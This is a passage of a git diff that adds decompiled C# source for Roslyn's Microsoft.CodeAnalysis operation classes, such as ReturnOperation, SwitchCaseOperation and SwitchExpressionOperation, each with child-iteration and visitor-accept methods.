DeconstructionSubpatterns.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_0053; + case 1: + if (previousIndex + 1 < PropertySubpatterns.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0053: + if (!PropertySubpatterns.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (!PropertySubpatterns.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: PropertySubpatterns.Length - 1); + } + goto IL_0055; + case 1: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + goto IL_0055; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0055: + if (!DeconstructionSubpatterns.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: DeconstructionSubpatterns.Length - 1); + } + goto case -1; + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitRecursivePattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitRecursivePattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RelationalCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RelationalCaseClauseOperation.cs new file mode 100644 index 0000000..3f02a0f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RelationalCaseClauseOperation.cs @@ -0,0 +1,78 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class RelationalCaseClauseOperation : BaseCaseClauseOperation, IRelationalCaseClauseOperation, ICaseClauseOperation, IOperation +{ + public IOperation Value { get; } + + public BinaryOperatorKind Relation { get; } + + internal override int ChildOperationsCount => (Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CaseClause; + + public override CaseKind CaseKind => CaseKind.Relational; + + internal RelationalCaseClauseOperation(IOperation value, BinaryOperatorKind relation, ILabelSymbol? label, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(label, semanticModel, syntax, isImplicit) + { + Value = Operation.SetParentOperation(value, this); + Relation = relation; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Value != null) + { + return Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitRelationalCaseClause(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitRelationalCaseClause(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RelationalPatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RelationalPatternOperation.cs new file mode 100644 index 0000000..96da1ef --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/RelationalPatternOperation.cs @@ -0,0 +1,76 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class RelationalPatternOperation : BasePatternOperation, IRelationalPatternOperation, IPatternOperation, IOperation +{ + public BinaryOperatorKind OperatorKind { get; } + + public IOperation Value { get; } + + internal override int ChildOperationsCount => (Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.RelationalPattern; + + internal RelationalPatternOperation(BinaryOperatorKind operatorKind, IOperation value, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + OperatorKind = operatorKind; + Value = Operation.SetParentOperation(value, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Value != null) + { + return Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitRelationalPattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitRelationalPattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReturnOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReturnOperation.cs new file mode 100644 index 0000000..7596078 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/ReturnOperation.cs @@ -0,0 +1,74 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class ReturnOperation : Operation, IReturnOperation, IOperation +{ + public IOperation? ReturnedValue { get; } + + internal override int ChildOperationsCount => (ReturnedValue != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind { get; } + + internal ReturnOperation(IOperation? returnedValue, OperationKind kind, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + ReturnedValue = Operation.SetParentOperation(returnedValue, this); + Kind = kind; + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && ReturnedValue != null) + { + return ReturnedValue; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (ReturnedValue != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (ReturnedValue != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitReturn(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitReturn(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SimpleAssignmentOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SimpleAssignmentOperation.cs new file mode 100644 index 0000000..db129dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SimpleAssignmentOperation.cs @@ -0,0 +1,101 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SimpleAssignmentOperation : BaseAssignmentOperation, ISimpleAssignmentOperation, IAssignmentOperation, IOperation +{ + public bool IsRef { get; } + + internal override int ChildOperationsCount => ((base.Target != null) ? 1 : 0) + ((base.Value != null) ? 1 : 0); + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.SimpleAssignment; + + internal SimpleAssignmentOperation(bool isRef, IOperation target, IOperation value, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(target, value, semanticModel, syntax, isImplicit) + { + IsRef = isRef; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (base.Target != null) + { + return base.Target; + } + break; + case 1: + if (base.Value != null) + { + return base.Value; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != 1) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (base.Value != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + } + if (base.Target != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSimpleAssignment(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSimpleAssignment(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SingleValueCaseClauseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SingleValueCaseClauseOperation.cs new file mode 100644 index 0000000..81b4e35 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SingleValueCaseClauseOperation.cs @@ -0,0 +1,75 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SingleValueCaseClauseOperation : BaseCaseClauseOperation, ISingleValueCaseClauseOperation, ICaseClauseOperation, IOperation +{ + public IOperation Value { get; } + + internal override int ChildOperationsCount => (Value != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.CaseClause; + + public override CaseKind CaseKind => CaseKind.SingleValue; + + internal SingleValueCaseClauseOperation(IOperation value, ILabelSymbol? label, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(label, semanticModel, syntax, isImplicit) + { + Value = Operation.SetParentOperation(value, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Value != null) + { + return Value; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSingleValueCaseClause(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSingleValueCaseClause(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SizeOfOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SizeOfOperation.cs new file mode 100644 index 0000000..81e6dbe --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SizeOfOperation.cs @@ -0,0 +1,49 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SizeOfOperation : Operation, ISizeOfOperation, IOperation +{ + public ITypeSymbol TypeOperand { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue { get; } + + public override OperationKind Kind => OperationKind.SizeOf; + + internal SizeOfOperation(ITypeSymbol typeOperand, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, ConstantValue? constantValue, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + TypeOperand = typeOperand; + OperationConstantValue = constantValue; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSizeOf(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSizeOf(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SlicePatternOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SlicePatternOperation.cs new file mode 100644 index 0000000..5345a99 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SlicePatternOperation.cs @@ -0,0 +1,76 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SlicePatternOperation : BasePatternOperation, ISlicePatternOperation, IPatternOperation, IOperation +{ + public ISymbol? SliceSymbol { get; } + + public IPatternOperation? Pattern { get; } + + internal override int ChildOperationsCount => (Pattern != null) ? 1 : 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.SlicePattern; + + internal SlicePatternOperation(ISymbol? sliceSymbol, IPatternOperation? pattern, ITypeSymbol inputType, ITypeSymbol narrowedType, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(inputType, narrowedType, semanticModel, syntax, isImplicit) + { + SliceSymbol = sliceSymbol; + Pattern = Operation.SetParentOperation(pattern, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + if (slot == 0 && Pattern != null) + { + return Pattern; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + if (previousSlot != -1) + { + if ((uint)previousSlot > 1u) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + else if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + return (hasNext: false, nextSlot: 1, nextIndex: 0); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + if ((uint)(previousSlot - -1) > 1u) + { + if (previousSlot != int.MaxValue) + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + } + return (hasNext: false, nextSlot: -1, nextIndex: 0); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSlicePattern(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSlicePattern(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/StaticLocalInitializationSemaphoreOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/StaticLocalInitializationSemaphoreOperation.cs new file mode 100644 index 0000000..2ce1250 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/StaticLocalInitializationSemaphoreOperation.cs @@ -0,0 +1,54 @@ +using Microsoft.CodeAnalysis.FlowAnalysis; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class StaticLocalInitializationSemaphoreOperation : Operation, IStaticLocalInitializationSemaphoreOperation, IOperation +{ + public ILocalSymbol Local { get; } + + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.StaticLocalInitializationSemaphore; + + internal StaticLocalInitializationSemaphoreOperation(ILocalSymbol local, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Local = local; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitStaticLocalInitializationSemaphore(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitStaticLocalInitializationSemaphore(this, argument); + } + + public StaticLocalInitializationSemaphoreOperation(ILocalSymbol local, SyntaxNode syntax, ITypeSymbol type) + : this(local, null, syntax, type, isImplicit: true) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/StopOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/StopOperation.cs new file mode 100644 index 0000000..5973476 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/StopOperation.cs @@ -0,0 +1,44 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class StopOperation : Operation, IStopOperation, IOperation +{ + internal override int ChildOperationsCount => 0; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.Stop; + + internal StopOperation(SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + } + + internal override IOperation GetCurrent(int slot, int index) + { + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + return (hasNext: false, nextSlot: int.MinValue, nextIndex: int.MinValue); + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitStop(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitStop(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchCaseOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchCaseOperation.cs new file mode 100644 index 0000000..3e73bd8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchCaseOperation.cs @@ -0,0 +1,136 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SwitchCaseOperation : Operation, ISwitchCaseOperation, IOperation +{ + public ImmutableArray Clauses { get; } + + public ImmutableArray Body { get; } + + public ImmutableArray Locals { get; } + + public IOperation? Condition { get; } + + internal override int ChildOperationsCount => Clauses.Length + Body.Length; + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.SwitchCase; + + internal SwitchCaseOperation(ImmutableArray clauses, ImmutableArray body, ImmutableArray locals, IOperation? condition, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Clauses = Operation.SetParentOperation(clauses, this); + Body = Operation.SetParentOperation(body, this); + Locals = locals; + Condition = Operation.SetParentOperation(condition, this); + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (index < Clauses.Length) + { + return Clauses[index]; + } + break; + case 1: + if (index < Body.Length) + { + return Body[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (!Clauses.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto IL_0053; + case 0: + if (previousIndex + 1 < Clauses.Length) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex + 1); + } + goto IL_0053; + case 1: + if (previousIndex + 1 < Body.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0053: + if (!Body.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (!Body.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: Body.Length - 1); + } + goto IL_0055; + case 1: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex - 1); + } + goto IL_0055; + case 0: + if (previousIndex > 0) + { + return (hasNext: true, nextSlot: 0, nextIndex: previousIndex - 1); + } + goto case -1; + case -1: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + { + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + IL_0055: + if (!Clauses.IsEmpty) + { + return (hasNext: true, nextSlot: 0, nextIndex: Clauses.Length - 1); + } + goto case -1; + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSwitchCase(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSwitchCase(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchExpressionArmOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchExpressionArmOperation.cs new file mode 100644 index 0000000..ebd1e62 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchExpressionArmOperation.cs @@ -0,0 +1,128 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SwitchExpressionArmOperation : Operation, ISwitchExpressionArmOperation, IOperation +{ + public IPatternOperation Pattern { get; } + + public IOperation? Guard { get; } + + public IOperation Value { get; } + + public ImmutableArray Locals { get; } + + internal override int ChildOperationsCount => ((Pattern != null) ? 1 : 0) + ((Guard != null) ? 1 : 0) + ((Value != null) ? 1 : 0); + + public override ITypeSymbol? Type => null; + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.SwitchExpressionArm; + + internal SwitchExpressionArmOperation(IPatternOperation pattern, IOperation? guard, IOperation value, ImmutableArray locals, SemanticModel? semanticModel, SyntaxNode syntax, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Pattern = Operation.SetParentOperation(pattern, this); + Guard = Operation.SetParentOperation(guard, this); + Value = Operation.SetParentOperation(value, this); + Locals = locals; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Pattern != null) + { + return Pattern; + } + break; + case 1: + if (Guard != null) + { + return Guard; + } + break; + case 2: + if (Value != null) + { + return Value; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (Guard != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Value != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + case 3: + return (hasNext: false, nextSlot: 3, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNextReversed(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case int.MaxValue: + if (Value != null) + { + return (hasNext: true, nextSlot: 2, nextIndex: 0); + } + goto case 2; + case 2: + if (Guard != null) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 1; + case 1: + if (Pattern != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case -1; + case -1: + case 0: + return (hasNext: false, nextSlot: -1, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + public override void Accept(OperationVisitor visitor) + { + visitor.VisitSwitchExpressionArm(this); + } + + public override TResult? Accept(OperationVisitor visitor, TArgument argument) + { + return visitor.VisitSwitchExpressionArm(this, argument); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchExpressionOperation.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchExpressionOperation.cs new file mode 100644 index 0000000..fc5b2a5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Operations/SwitchExpressionOperation.cs @@ -0,0 +1,116 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.Operations; + +internal sealed class SwitchExpressionOperation : Operation, ISwitchExpressionOperation, IOperation +{ + public IOperation Value { get; } + + public ImmutableArray Arms { get; } + + public bool IsExhaustive { get; } + + internal override int ChildOperationsCount => ((Value != null) ? 1 : 0) + Arms.Length; + + public override ITypeSymbol? Type { get; } + + internal override ConstantValue? OperationConstantValue => null; + + public override OperationKind Kind => OperationKind.SwitchExpression; + + internal SwitchExpressionOperation(IOperation value, ImmutableArray arms, bool isExhaustive, SemanticModel? semanticModel, SyntaxNode syntax, ITypeSymbol? type, bool isImplicit) + : base(semanticModel, syntax, isImplicit) + { + Value = Operation.SetParentOperation(value, this); + Arms = Operation.SetParentOperation(arms, this); + IsExhaustive = isExhaustive; + Type = type; + } + + internal override IOperation GetCurrent(int slot, int index) + { + switch (slot) + { + case 0: + if (Value != null) + { + return Value; + } + break; + case 1: + if (index < Arms.Length) + { + return Arms[index]; + } + break; + } + throw ExceptionUtilities.UnexpectedValue((slot, index)); + } + + internal override (bool hasNext, int nextSlot, int nextIndex) MoveNext(int previousSlot, int previousIndex) + { + switch (previousSlot) + { + case -1: + if (Value != null) + { + return (hasNext: true, nextSlot: 0, nextIndex: 0); + } + goto case 0; + case 0: + if (!Arms.IsEmpty) + { + return (hasNext: true, nextSlot: 1, nextIndex: 0); + } + goto case 2; + case 1: + if (previousIndex + 1 < Arms.Length) + { + return (hasNext: true, nextSlot: 1, nextIndex: previousIndex + 1); + } + goto case 2; + case 2: + return (hasNext: false, nextSlot: 2, nextIndex: 0); + default: + throw ExceptionUtilities.UnexpectedValue((previousSlot, previousIndex)); + } + } + + 